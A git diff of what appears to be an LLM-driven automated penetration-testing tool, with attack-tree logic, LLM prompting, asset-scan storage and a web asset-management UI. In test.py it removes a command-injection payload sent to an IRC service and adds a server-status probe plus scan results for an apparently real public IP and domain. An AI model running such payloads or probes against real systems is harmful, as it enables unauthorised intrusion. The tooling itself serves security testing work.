+1.请生成这些子节点的测试指令,注意不要生成重复的测试指令; +2.这些节点的父节点为当前节点,请正确生成这些节点的节点路径; + ''' + bsuccess, node_cmds, commands, strerror,reasoning_content,content = self.node_get_llm_instruction(cur_node, user_Prompt) + #正常不应该会有node_cmds + if not bsuccess: #失败就结束 + break + res_str = "" + # LLM记录存数据库 + cur_node.llm_sn += 1 + post_time = get_local_timestr() + bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path) + if not bres: + self.logger.error(f"{cur_node.name}-llm入库失败!") + #把返回的测试指令进行追加 + new_commands.extend(commands) + #再验证是否还有缺少的 + tmp_nodes = [] + for no_instr_node in no_instr_nodes: + bcommand = False + for com in commands: + if no_instr_node in com["path"]: + bcommand = True + break + if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction + continue + # 没有对应指令 + tmp_nodes.append(no_instr_node) + res_str = ','.join(tmp_nodes) + no_instr_nodes = tmp_nodes + + self.logger.debug("未添加指令的节点,都已完成指令的添加!") + return new_commands + + # 处理节点指令 + def tree_manager(self, node_cmds, node, commands, DBM): '''更新渗透测试树 node_cmds是json-list 2025-03-22添加commands参数,用于处理LLM对同一个节点返回了测试指令,但还返回了no_instruction节点指令 ''' - if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令 - return True,commands,0 - - #对节点指令进行校验 - bok,strerror = g_CV.verify_node_cmds(node_cmds) - if not bok: #节点指令存在问题,则不进行后续处理,提交一个错误反馈任务 - # 提交llm待处理任务 - node.step_num += 1 #单步次数还原一个--暂时只针对有效的返回才算一次 - self.put_node_reslist(node, strerror, 2) - return False,commands,0 - #message_调整传递时机后,可以先执行添加节点 + if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令 + return True, commands, 0 + + # message_调整传递时机后,可以先执行添加节点 # #对节点数据进行初步验证 # ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds) # if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到 @@ -699,7 +886,7 @@ class TaskObject: action = node_json["action"] if action == "add_node": # 新增节点 if node.cur_layer >= self.max_layer: - continue #节点层级达到上限后不允许再添加子节点-- 平级的一样 + continue # 节点层级达到上限后不允许再添加子节点-- 平级的一样 parent_node_name = node_json["parent"] # status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status add_node_names = node_json["nodes"].replace(',', ',').split(',') @@ -707,8 +894,9 @@ class TaskObject: if node.name == parent_node_name or parent_node_name.endswith(node.name): # 2233ai,节点名称字段会返回整个路径 # 添加当前节点的子节点 -- 这是标准情况 self.add_children_node(node, add_node_names) - all_add_node.extend(add_node_names) #只有当前节点的子节点才进行指令有无的校验补充 - elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name): # 添加当前节点的平级节点 + all_add_node.extend(add_node_names) # 只有当前节点的子节点才进行指令有无的校验补充 + elif node.parent.name == parent_node_name or parent_node_name.endswith( + node.parent.name): # 添加当前节点的平级节点 # 是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况 self.add_children_node(node.parent, add_node_names) self.logger.debug("遇到一次添加平级节点") @@ -721,46 +909,48 @@ class TaskObject: self.logger.debug("遇到一次添加子节点的子节点") break if not badd: - self.logger.error(f"添加子节点失败!父节点不是当前节点,不是当前节点的父节点,不是当前节点的子节点,需要介入!!{node_json}---当前节点为:{node.path}") # 丢弃该节点 + self.logger.error( + f"添加子节点失败!父节点不是当前节点,不是当前节点的父节点,不是当前节点的子节点,需要介入!!{node_json}---当前节点为:{node.path}") # 丢弃该节点 else: # 未处理的节点指令添加到list residue_cmd_no_add.append(node_json) no_instr_nodes = [] - #2025-5-12 是否采用本地校验节点是否有指令,如果使用,则no_instruction就可以不用了 + # 2025-5-12 是否采用本地校验节点是否有指令,如果使用,则no_instruction就可以不用了 for add_node in all_add_node: bcommand = False for com in commands: - if add_node in com: + if add_node in com["path"]: # 这里要不要改成匹配尾部字串? bcommand = True break if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction continue - #没有对应指令 + # 没有对应指令 no_instr_nodes.append(add_node) if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token new_commands = self.get_other_instruction(no_instr_nodes, DBM, node) commands.extend(new_commands) - #执行剩余的节点指令--不分先后 + # 执行剩余的节点指令--不分先后 for node_json in residue_cmd_no_add: action = node_json["action"] if action == "find_vul": node_name = node_json["node"] vul_node = None - if node.name == node_name or node_name.endswith(node.name): #正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞 + if node.name == node_name or node_name.endswith(node.name): # 正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞 vul_node = node - else: #匹配子节点 + else: # 匹配子节点 for child in node.children: if child.name == node_name or node_name.endswith(child.name): vul_node = node break - if vul_node: #找到对应了漏洞节点 + if vul_node: # 找到对应了漏洞节点 try: vul_node.vul_type = node_json["vulnerability"]["name"] vul_node.vul_grade = node_json["vulnerability"]["risk"] vul_node.vul_info = node_json["vulnerability"]["info"] - #保存到数据库 --- 数据库有记录多个,tree只保留最新一个 - DBM.insert_taks_vul(self.task_id,vul_node.name,vul_node.path,vul_node.vul_type,vul_node.vul_grade, + # 保存到数据库 --- 数据库有记录多个,tree只保留最新一个 + DBM.insert_taks_vul(self.task_id, vul_node.name, vul_node.path, vul_node.vul_type, + vul_node.vul_grade, vul_node.vul_info) except: self.logger.error("漏洞信息错误") @@ -775,65 +965,17 @@ class TaskObject: else: str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}--当前节点{node.path}" self.logger.error(str_user) + elif action == "asset": + self.cur_stage = 1 # 进入渗透测试阶段 + print(f"{node_json}") + IPS = self.dedupe_ports(node_json["IPS"]) # ips的端口做去重,ds用到端口重复的情况 + URL = node_json["URL"] + self.add_update_assets(URL, IPS, DBM) # 网络资产信息入库或更新 + # 节点树增加节点,并初始化信息采集的数据 ---- 推进到下一阶段 + self.update_attack_tree(URL, IPS, node) else: self.logger.error("****不应该执行到这!程序逻辑存在问题!") - return True,commands,len(add_node_names) - - #阻塞轮询补充指令 - def get_other_instruction(self,nodes,DBM,cur_node): - res_str = ','.join(nodes) - new_commands = [] - no_instr_nodes = nodes - ierror = 0 - while res_str: - self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令") - user_Prompt = f''' -当前分支路径:{cur_node.path} -当前节点信息: -- 节点名称:{cur_node.name} -- 节点状态:{cur_node.status} -- 漏洞类型:{cur_node.vul_type} -反馈类型:需要补充以下子节点的测试指令:{res_str} -任务: -1.请生成这些子节点的测试指令,注意不要生成重复的测试指令; -2.这些节点的父节点为当前节点,请正确生成这些节点的节点路径; - ''' - fake_prompt = self.DataFilter.filter_prompt(user_Prompt) - #正常不应该会有node_cmds - bsuccess,node_cmds, commands, reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt, - cur_node,self.DataFilter) # message要更新 - if not bsuccess: - self.logger.error(f"模型接口调用出错:{content}") - ierror += 1 - if ierror == 3: #重试3次 - break - continue# res_str没有调整,重复使用 - res_str = "" - # LLM记录存数据库 - cur_node.llm_sn += 1 - post_time = get_local_timestr() - bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path) - if not bres: - self.logger.error(f"{cur_node.name}-llm入库失败!") - #把返回的测试指令进行追加 - new_commands.extend(commands) - #再验证是否还有缺少的 - tmp_nodes = [] - for no_instr_node in no_instr_nodes: - bcommand = False - for com in commands: - if no_instr_node in com: - bcommand = True - break - if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction - continue - # 没有对应指令 - tmp_nodes.append(no_instr_node) - res_str = ','.join(tmp_nodes) - no_instr_nodes = tmp_nodes - - self.logger.debug("未添加指令的节点,都已完成指令的添加!") - return new_commands + return True, commands, len(add_node_names) #-----------------任务的启停-------------------- def init_task(self,task_id,attack_tree = None): @@ -849,11 +991,11 @@ class TaskObject: else: # 无值的情况是new_create root_node = TreeNode(self.target, self.task_id,0) # 根节点 self.attack_tree = AttackTree(root_node) # 创建测试树,同时更新根节点相关内容 - self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg - # 插入一个user消息 - # 提交第一个llm任务,开始工作 - know_info = f"本测试主机的IP地址为:{self.local_ip}" - self.put_node_reslist(root_node, know_info, 0) # 入待提交list,若是人工模式则不入待办MQ + #self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg + self.LLM.build_init_info_prompt(root_node) #新建任务先开始信息收集工作 2025-5-15 + know_info = "" + self.put_node_reslist(root_node,know_info,-1) #新增一个-1的状态值 + # 初始保存个attack_tree文件 g_PKM.WriteData(self.attack_tree, str(self.task_id)) diff --git a/pipfile b/pipfile index 4c6ca02..cdf7516 100644 --- a/pipfile +++ b/pipfile @@ -19,6 +19,8 @@ pip install smbprotocol -i https://pypi.tuna.tsinghua.edu.cn/simple/ pip install ipwhois -i https://pypi.tuna.tsinghua.edu.cn/simple pip install geoip2 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install python-whois -i https://pypi.tuna.tsinghua.edu.cn/simple +pip install tldextract -i https://pypi.tuna.tsinghua.edu.cn/simple +pip install sublist3r -i https://pypi.tuna.tsinghua.edu.cn/simple apt install sublist3r diff --git a/test.py b/test.py index 4ab6e7e..f9b53fa 100644 --- a/test.py +++ b/test.py @@ -81,32 +81,13 @@ if __name__ == "__main__": elif test_type == 1: # # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen'] instruction = '''python-code - -import socket +import requests def dynamic_fun(): try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(10) - s.connect(('192.168.3.108', 6667)) - payload = 'AB; bash -c "echo vulnerable > /tmp/irc_test"\\r\\n' - s.send(payload.encode()) - s.close() - - check_s = socket.socket() - check_s.settimeout(5) - check_s.connect(('192.168.3.108', 6667)) - check_s.send(b'AB; ls /tmp\\r\\n') - response = check_s.recv(1024).decode() - check_s.close() - - if 'irc_test' in response: - return (True, "检测到命令注入漏洞") - return (False, "未检测到有效漏洞响应") + r = requests.get('https://58.216.217.67/server-status', verify=False, timeout=5) + return (1, f'HTTP:{r.status_code} Headers:{r.headers}') if r.status_code==200 else (0, '') except Exception as e: - return (False, f"检测失败: {str(e)}") - finally: - s.close() if 's' in locals() else None - check_s.close() if 'check_s' in locals() else None + return (0, str(e)) ''' task_Object.PythonM.start_pool() #开个子进程池就行 start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = task_Object.do_instruction(instruction) @@ -145,23 +126,31 @@ def dynamic_fun(): for node_name in unique_names: print(node_name) elif test_type == 4: # 修改Messages - attact_tree = g_PKM.ReadData("60") + attact_tree = g_PKM.ReadData("88") # 创建一个新的节点 from mycode.AttackMap import TreeNode testnode = TreeNode("test", 0,0) - LLM.build_initial_prompt(testnode) # 新的Message + LLM.build_init_attact_prompt(testnode) # 新的Message systems = testnode.parent_messages[0]["content"] # print(systems) # 遍历node,查看有instr的ndoe nodes = attact_tree.traverse_bfs() for node in nodes: node.parent_messages[0]["content"] = systems - g_PKM.WriteData(attact_tree, "27") + g_PKM.WriteData(attact_tree, "88") print("完成Messgae更新") elif test_type ==5: mytest.dynamic_fun() elif test_type == 6: - mytest.tmp_test() + import json + strIPS = ''' +[ {"action":"asset","URL":{"Domain":"www.czzfkjxx.cn","Subdomains":[],"Registrant":"","Email":"","Registrar":"","Creation_date":"","Expiration_date":""},"IPS":[{"IP":"58.216.217.67","IPtype":"IPv4","Ports":[ {"Port":"25","Service":"smtp?","Version":"","Protocol":"tcp","Status":"open"}, {"Port":"80","Service":"http","Version":"Apache httpd","Protocol":"tcp","Status":"open"}, {"Port":"110","Service":"pop3?","Version":"","Protocol":"tcp","Status":"open"}, {"Port":"443","Service":"ssl/http","Version":"Apache httpd","Protocol":"tcp","Status":"open"} ]}]} ] + ''' + node_json = json.loads(strIPS) + IPS = node_json[0]["IPS"] + URL = node_json[0]["URL"] + #task_Object.add_update_assets(URL,IPS,app_DBM) + task_Object.update_attack_tree(URL, IPS, None) elif test_type == 7: task_Object.test(50) else: diff --git a/web/API/__init__.py b/web/API/__init__.py index bae8460..9c90209 100644 --- a/web/API/__init__.py +++ b/web/API/__init__.py @@ -1,4 +1,4 @@ from quart import Blueprint #定义模块 api = Blueprint('api',__name__) -from . import user,task,wsm,system +from . import user,task,wsm,system,assets diff --git a/web/API/assets.py b/web/API/assets.py new file mode 100644 index 0000000..112298c --- /dev/null +++ b/web/API/assets.py @@ -0,0 +1,170 @@ +from . import api +from quart import Quart, render_template, redirect, url_for, request,jsonify +from mycode.AssetsManager import g_AssetsM +from web.common.utils import login_required + +@api.route('/assets/getipassets',methods=['POST']) +@login_required +async def get_IP_assets(): #查询IP资产数据 + data = await request.get_json() + IP = data.get("IP") + user = data.get("user") + safe_rank = data.get("safe_rank") + ip_assets = g_AssetsM.get_IP_assets(IP,user,safe_rank) + return jsonify({"ip_assets":ip_assets}) + +@api.route('/assets/getipinfo',methods=['POST']) +@login_required +async def get_IP_info(): #获取该IP资产的基本信息 + data = await request.get_json() + IP = data.get("IP") + ip_info = g_AssetsM.get_IP_info(IP) + return jsonify({"ip_info":ip_info}) + +@api.route('/assets/getassetsuser',methods=['POST']) +@login_required +async def get_assets_user(): + data = await request.get_json() + uname = data.get("keyword") + user_list = g_AssetsM.get_assets_users(uname) + return jsonify({"user_list": user_list}) + +@api.route('/assets/updateipinfo',methods=['POST']) +@login_required +async def update_IP_info(): #获取该IP资产的基本信息 + data = await request.get_json() + IP = data.get("cur_ip") + owner_id = data.get("owner_id") + bsuccess,error = g_AssetsM.update_assets_users(IP,owner_id) + return jsonify({"bsuccess":bsuccess}) + +@api.route('/assets/getportlatest',methods=['POST']) +@login_required +async def get_port_latest(): #获取端口的最新数据 + data = await request.get_json() + ip = data.get("ip") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + port_data = g_AssetsM.get_port_latest(ip) + return jsonify({"port_data":port_data}) + +@api.route('/assets/getporthistory',methods=['POST']) +@login_required +async def get_port_history(): #获取端口的历史数据 + data = await request.get_json() + ip = data.get("ip") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + times,port_dict = g_AssetsM.get_port_history(ip) + return jsonify({"times":times,"entries":port_dict}) + +@api.route('/assets/geturllatest',methods=['POST']) +@login_required +async def get_url_latest(): + data = await request.get_json() + ip = data.get("ip") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + ip_url_data = g_AssetsM.get_ip_url_latest(ip) + if not ip_url_data: + ip_url_data=[] + return jsonify({"ip_url_data": ip_url_data}) + +@api.route('/assets/geturlhistory',methods=['POST']) +@login_required +async def get_url_history(): + data = await request.get_json() + ip = data.get("ip") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + ip_url_data = g_AssetsM.get_ip_url_history(ip) + if not ip_url_data: + ip_url_data=[] + return jsonify({"ip_url_data": ip_url_data}) + +@api.route('/assets/getvuldata',methods=['POST']) +@login_required +async def get_vul_data(): + data = await request.get_json() #ip,nodeName,vulType,vulLevel + ip = data.get("ip") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + nodeName = data.get("nodeName") + vulType = data.get("vulType") + vulLevel = data.get("vulLevel") + vuls = g_AssetsM.get_vul_data(ip,nodeName,vulType,vulLevel) + return jsonify({"vuls": vuls}) + + +@api.route('/assets/delipassets',methods=['POST']) +@login_required +async def del_ip_assets(): + data = await request.get_json() # ip,nodeName,vulType,vulLevel + ip = data.get("IP") + if not ip: + return jsonify({'error': '缺少 ip 参数'}), 400 + bsuccess,error = g_AssetsM.del_ip_assets(ip) + return jsonify({"bsuccess": bsuccess,"error":error}) + +@api.route('/assets/geturlassets', methods=['POST']) +@login_required +async def get_url_assets(): #url_filter,user_filter,email_filter + data = await request.get_json() + url = data.get("url_filter") + owner = data.get("user_filter") + email = data.get("email_filter") + url_assets = g_AssetsM.get_url_assets(url,owner,email) + return jsonify({"url_assets": url_assets}) + +@api.route('/assets/updateurlinfo', methods=['POST']) +@login_required +async def update_url_info(): + data = await request.get_json() + url_id = data.get("cur_url_id") + owner_id = data.get("owner_id") + bsuccess, error = g_AssetsM.update_assets_users(url_id, owner_id,2) + return jsonify({"bsuccess": bsuccess,"error":error}) + +@api.route('/assets/geturltoIP', methods=['POST']) +@login_required +async def get_url_to_ip(): + data = await request.get_json() + url_id = data.get("cur_url_id") + last_to_ips,his_to_ips = g_AssetsM.get_url_to_ip(url_id) + return jsonify({"last_to_ips":last_to_ips,"his_to_ips":his_to_ips}) + +@api.route('/assets/delurlassets', methods=['POST']) +@login_required +async def del_url_assets(): + data = await request.get_json() + url_id = data.get("url") + bsuccess,error = g_AssetsM.del_url_assets(url_id) + return jsonify({"bsuccess": bsuccess, "error": error}) + +@api.route('/assets/getOwners', methods=['POST']) +@login_required +async def getOwners(): + data = await request.get_json() + owner = data.get("owner") + owner_type = data.get("owner_type") + contact = data.get("contact") + tellnum = data.get("tellnum") + owner_list = g_AssetsM.get_owners(owner,owner_type,contact,tellnum) + return jsonify({"owner_list": owner_list}) + +@api.route('/assets/addUpdateOwners', methods=['POST']) +@login_required +async def add_update_Owner(): + data = await request.get_json() #{data,currentMode} + owner_data = data.get("data") + do_mode = data.get("currentMode") + bsuccess,error,owner_list = g_AssetsM.add_update_owner(owner_data, do_mode) + return jsonify({"owner_list": owner_list,"bsuccess":bsuccess,"error":error}) + +@api.route('/assets/delOwners', methods=['POST']) +@login_required +async def del_Owner(): + data = await request.get_json() + id = data.get("id") + bsuccess,error = g_AssetsM.del_owner(id) + return jsonify({"bsuccess": bsuccess, "error": error}) diff --git a/web/main/static/resources/scripts/assets_manager.js b/web/main/static/resources/scripts/assets_manager.js new file mode 100644 index 0000000..9cb5b39 --- /dev/null +++ b/web/main/static/resources/scripts/assets_manager.js @@ -0,0 +1,1023 @@ +const pageSize = 10; +let ipAssets = [], currentIpPage = 1; + +document.addEventListener("DOMContentLoaded", async () => { + // 初始加载 + loadIpAssets(); + loadUrlAssets(); +}); + +// 页面卸载时断开连接 +window.addEventListener("beforeunload", function() { + ipAssets = []; + urlAssets = []; + currentIpPage = 1; +}); + +async function postJSON(url, payload) { + const res = await fetch(url, { + method: 'POST', + headers: { 'Content-Type':'application/json' }, + body: JSON.stringify(payload) + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + return res.json(); +} + +/* ---------- 简易 Toast ---------- */ +function showToast(msg, type='info') { + const toastEl = document.createElement('div'); + toastEl.className = `toast align-items-center text-white bg-${type} border-0 position-fixed bottom-0 end-0 m-3`; + toastEl.role = 'alert'; + toastEl.innerHTML = ` +
+
${msg}
+ +
`; + document.body.appendChild(toastEl); + const t = new bootstrap.Toast(toastEl, { delay: 3000 }); + t.show(); + toastEl.addEventListener('hidden.bs.toast', () => toastEl.remove()); +} + +//---------------------------IP-Assets Tab---------------------------- +async function exportIpAssets(){ + // 构造 CSV 文本 + let rows = [ + ['序号', '资产IP', '所属用户', '风险', '最新检测时间','端口数','关联域名'].map(fmtCell).join(',') + ]; + ipAssets.forEach((row, i) => { + rows.push([ + (i + 1).toString(), + row[0].toString(), + row[1] || '', + row[2] || '', + row[3] || '', + row[4] || '', + row[5] || '', + ].map(fmtCell).join(',')); + }); + + const csv = '\uFEFF' + rows.join('\r\n'); // 加 BOM + + downloadCSV(csv, `ip_assets.csv`); +} + +async function loadIpAssets(page=1) { + const IP = document.getElementById("ipFilter").value.trim(); + const user = document.getElementById("userFilter").value.trim(); + const safe_rank = document.getElementById("riskFilter").value; + try { + const data = await postJSON("/api/assets/getipassets",{IP,user,safe_rank}) + ipAssets = data.ip_assets || []; + renderIpTable(page); //刷新表格 + } catch (error) { + console.error("查询任务记录出错:", error); + alert("查询失败!"); + } +} + +//刷新IP-assets表格 +function renderIpTable(page) { + currentIpPage = page; //查询数据了,从第一页显示 + const start = (currentIpPage-1)*pageSize; + const slice = ipAssets.slice(start, start+pageSize); + const tbody = document.querySelector('#ipTable tbody'); + tbody.innerHTML = ''; + for (let i=0; i${start+i+1} + ${item[0]} + ${item[1]} + ${item[2]} + ${item[3]} + ${item[4]} + ${item[5]} + + + + + + + + `; + tbody.appendChild(tr); + } + // 补足空行 + for (let i=slice.length; i1?currentIpPage-1:1; + document.getElementById('ipNext').dataset.page = ipAssets.length>currentIpPage*pageSize?currentIpPage+1:currentIpPage; +} + +// 分页按钮 +document.getElementById('ipPrev').addEventListener('click', e => { e.preventDefault(); renderIpTable(+e.target.dataset.page); }); +document.getElementById('ipNext').addEventListener('click', e => { e.preventDefault(); renderIpTable(+e.target.dataset.page); }); +// 查询 +document.getElementById('ipSearchBtn').addEventListener('click', () => loadIpAssets(1)); +//导出 +document.getElementById("ipExportBtn").addEventListener('click',() => exportIpAssets()) + +//*********基本信息modal*********** +const ipModalEl = document.getElementById('ipBasicInfoModal'); +const ownerDrawerEl = document.getElementById('ownerDrawer'); +const infoIpEl = document.getElementById('info_ip'); +const infoRiskEl = document.getElementById('info_risk'); +const infoOwnerEl = document.getElementById('info_owner'); +const infoScanTimeEl = document.getElementById('info_scanTime'); +const contactNameEl = document.getElementById('contactName'); +const contactPhoneEl = document.getElementById('contactPhone'); +const btnChooseOwner = document.getElementById('btnChooseOwner'); +const btnSaveIpInfo = document.getElementById('saveIpInfo'); +const ownerSearchEl = document.getElementById('ownerSearchKeyword'); +const btnSearchOwner = document.getElementById('btnSearchOwner'); +const btnDelOwner = document.getElementById("btnDelOwner"); +const ownerTableBody = document.getElementById('ownerTableBody'); +const ipinofModal = new bootstrap.Modal(ipModalEl); +const ownerDrawer = new bootstrap.Offcanvas(ownerDrawerEl); +let selectedOwnerId = null; // 当前选定的 user_id +let owner_list = null; // 资产所属单位列表 +let curModal; //选择所属用户界面的共享参数,用于区分时IP窗口进入,还是URL窗口进入 +// 5. Drawer 操作 +btnChooseOwner.addEventListener('click', () => { + curModal = "ip" + ownerDrawer.show(); + loadOwners(ownerSearchEl.value.trim()); +}); + +//删除所属用户的关系 +btnDelOwner.addEventListener('click',() =>{ + selectedOwnerId = null; + infoOwnerEl.textContent = ''; + contactNameEl.textContent = ''; + contactPhoneEl.textContent = ''; +}); + +//选择一个所属用户 +ownerTableBody.addEventListener('click', e => { + const btn = e.target.closest('button[data-id]'); + if (!btn) return; + selectedOwnerId = btn.dataset.id; + if(curModal === "ip"){ + infoOwnerEl.textContent = btn.dataset.name; + contactNameEl.textContent = btn.dataset.telluname; + contactPhoneEl.textContent = btn.dataset.tellnum; + }else{ + ownerEl.textContent = btn.dataset.name; + contactEl.textContent = btn.dataset.telluname; + tellEl.textContent = btn.dataset.tellnum; + } + ownerDrawer.hide(); +}); + +//5.1--搜索按钮 +btnSearchOwner.addEventListener('click', () => loadOwners(ownerSearchEl.value.trim())); + +async function loadOwners(keyword='') { + try { + const res = await fetch('/api/assets/getassetsuser', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ keyword }) + }); + owner_list = (await res.json()).user_list; + ownerTableBody.innerHTML = ''; + //ID,uname,tellnum,tell_username + owner_list.forEach((u, idx) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${idx + 1} + ${u[1]} + `; + ownerTableBody.appendChild(tr); + }); + } catch (e) { showToast('加载用户列表失败', 'danger'); } +} + +// 6. 保存修改 +btnSaveIpInfo.addEventListener('click', async () => saveIpInfo()); + +// 7. hidden 清理 +ipModalEl.addEventListener('hidden.bs.modal', () => { + selectedOwnerId = null; + document.getElementById('ipInfoForm').reset(); + ['info_ip','info_risk','info_owner','info_scanTime'].forEach(id => { + document.getElementById(id).textContent = ''; + }); + ownerDrawer.hide(); +}); + +//显示基本信息 +async function showBasicInfo(IP,owner,risk_rank,update_time) { + try { + infoIpEl.textContent = IP; + infoRiskEl.textContent = risk_rank; + infoOwnerEl.textContent = owner; + infoScanTimeEl.textContent = update_time; + if(owner == 'null'){ + contactNameEl.textContent = ''; + contactPhoneEl.textContent = ''; + } + else { //au.ID,au.tellnum,au.tell_username + try{ + const data = await postJSON('/api/assets/getipinfo', {IP}); + ip_info = data.ip_info; + } catch (error) { + ip_info = [] + console.error("获取IP资产基本信息失败!",error); + } + contactNameEl.textContent = ip_info[2] || ''; + contactPhoneEl.textContent = ip_info[1] || ''; + selectedOwnerId = ip_info[0] || 0; + } + ipinofModal.show(); + } catch (e) { + showToast(`请求基本信息失败:${e.message}`, 'danger'); + } +} + +//保存所属用户的基本信息 +async function saveIpInfo(){ + const payload = { + cur_ip: infoIpEl.textContent, + owner_id: selectedOwnerId + }; + try { + const ret = await postJSON('/api/assets/updateipinfo', payload); + bsuccess = ret.bsuccess; + if (bsuccess) { + showToast('修改成功', 'success'); + //bootstrap.Modal.getInstance(ipModalEl).hide(); + loadIpAssets(currentIpPage) //刷新整个数据。。 + } else { + showToast(ret.message || '修改失败', 'danger'); + } + } catch (e) { + showToast(`提交失败:${e.message}`, 'danger'); + } +} + +//***********端口数据************** +const latestTableBody = document.querySelector('#latestPortTable tbody'); +const latestPrevBtn = document.getElementById('latestPrev'); +const latestNextBtn = document.getElementById('latestNext'); + +const historyTableHead = document.querySelector('#historyPortTable thead'); +const historyTableBody = document.querySelector('#historyPortTable tbody'); +const hisPortPrevBtn = document.getElementById('hisPortPrev'); +const hisPortNextBtn = document.getElementById('hisPortNext'); + +const portModalEl = document.getElementById('portDataModal'); +const portModal = new bootstrap.Modal(portModalEl); +let latestData = [], historyData = {}; +let latestPage = 1, latestPageSize = 10; + +async function showPortData(IP){ + // 把 IP 暂存到 modal 元素上 + portModalEl.dataset.ip = IP; + portModal.show() +} + + // 打开 Modal 时加载 + portModalEl.addEventListener('show.bs.modal', async ev => { + const ip = portModalEl.dataset.ip; + if (!ip) return; + + // 1. 拉最新数据 + try{ + const latestJson = await postJSON('/api/assets/getportlatest', {ip}); + latestData = latestJson.port_data || []; + } catch (error) { + console.error("拉取最新的端口数据失败!",error) + } + renderLatest(); + + // 2. 拉历史数据 + try{ + const histJson = await postJSON('/api/assets/getporthistory', {ip}); + historyData = histJson || []; + } catch (error) { + console.error("拉取历史的端口数据失败!",error) + } + renderHistory(); + }); + + // 渲染最新数据和分页 + function renderLatest() { + latestTableBody.innerHTML = ''; + const start = (latestPage-1)*latestPageSize; + const slice = latestData.slice(start, start+latestPageSize); + slice.forEach((row,i) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${start+i+1} + ${row[0]} + ${row[1]} + ${row[2]} + ${row[3]} + `; + latestTableBody.appendChild(tr); + }); + // 补空行 + for (let i = slice.length; i < latestPageSize; i++) { + const tr = document.createElement('tr'); + tr.innerHTML = ' '; + latestTableBody.appendChild(tr); + } + // 更新按钮 + latestPrevBtn.dataset.page = latestPage>1?latestPage-1:1; + latestNextBtn.dataset.page = latestData.length>latestPage*latestPageSize?latestPage+1:latestPage; + } + latestPrevBtn.addEventListener('click', e => { + e.preventDefault(); + latestPage = +e.target.dataset.page; + renderLatest(); + }); + latestNextBtn.addEventListener('click', e => { + e.preventDefault(); + latestPage = +e.target.dataset.page; + renderLatest(); + }); + + // 渲染历史数据 + function renderHistory() { + historyTableHead.innerHTML = ''; + historyTableBody.innerHTML = ''; + + // 1) 表头:批次时间 + const th = document.createElement('tr'); + th.innerHTML = `端口 / 时间` + + historyData.times.map(t => `${t}`).join(''); + historyTableHead.appendChild(th); + imaxcount = historyData.times.length; + + // 2) 每个端口一行 + Object.entries(historyData.entries).forEach(([port, info]) => { + const tr = document.createElement('tr'); + // 第一列:端口号 + let rowHtml = `${port}`; + // 后面的各批次状态i + let idx = 0; + for(let i=1;i <= imaxcount;i++){ + if(info.scancount[idx] == i){ + // 若 changed 为 1,则背景淡红 + const bg = info.changed[idx] ? 'background-color:#ffecec;' : ''; + // 鼠标移上时显示服务/版本/协议 + const title = + `服务: ${info.service[idx]}\n` + + `版本: ${info.version[idx]}`; + rowHtml += `${info.statuses[idx]}`; + idx ++; + } else {//序号不对则加个空单元格 + rowHtml += ``; + } + } + tr.innerHTML = rowHtml; + historyTableBody.appendChild(tr); + }); + } + + // 导出按钮 + document.getElementById('exportPortData').onclick = () => { + // 找到当前激活的 tab-pane + const activePane = document.querySelector('#portTabContent .tab-pane.active').id; + + if (activePane === 'latestPane') { + // 导出最新数据:可以直接把 latestData 当前页 slice 成 CSV + exportLatest(); + } else { + // 导出历史数据 + exportHistory(); + } + }; + + // 工具:格式化单元格内容,遇到“纯数字-数字”形式时自动做公式化处理 + function fmtCell(val) { + // 如果是数字-数字,比如 "2-4"、"10-12" 等 + if (/^\d+-\d+$/.test(val)) { + return '="' + val + '"'; + } + // 如果里面有中文或逗号,就双引号包裹 + if (/[,\u4e00-\u9fa5]/.test(val)) { + return `"${val.replace(/"/g, '""')}"`; + } + return val; + } + + function exportLatest() { + // 构造 CSV 文本 + let rows = [ + ['序号', '端口号', '服务', '版本号', '端口状态'].map(fmtCell).join(',') + ]; + latestData.forEach((row, i) => { + rows.push([ + (i + 1).toString(), + row[0].toString(), + row[1] || '', + row[2] || '', + row[3] || '' + ].map(fmtCell).join(',')); + }); + + const csv = '\uFEFF' + rows.join('\r\n'); // 加 BOM + + downloadCSV(csv, `latest_ports_${portModalEl.dataset.ip}.csv`); + } + + function exportHistory() { + const thead = historyTableHead.querySelector('tr'); + const tbody = historyTableBody.querySelectorAll('tr'); + + // 1. 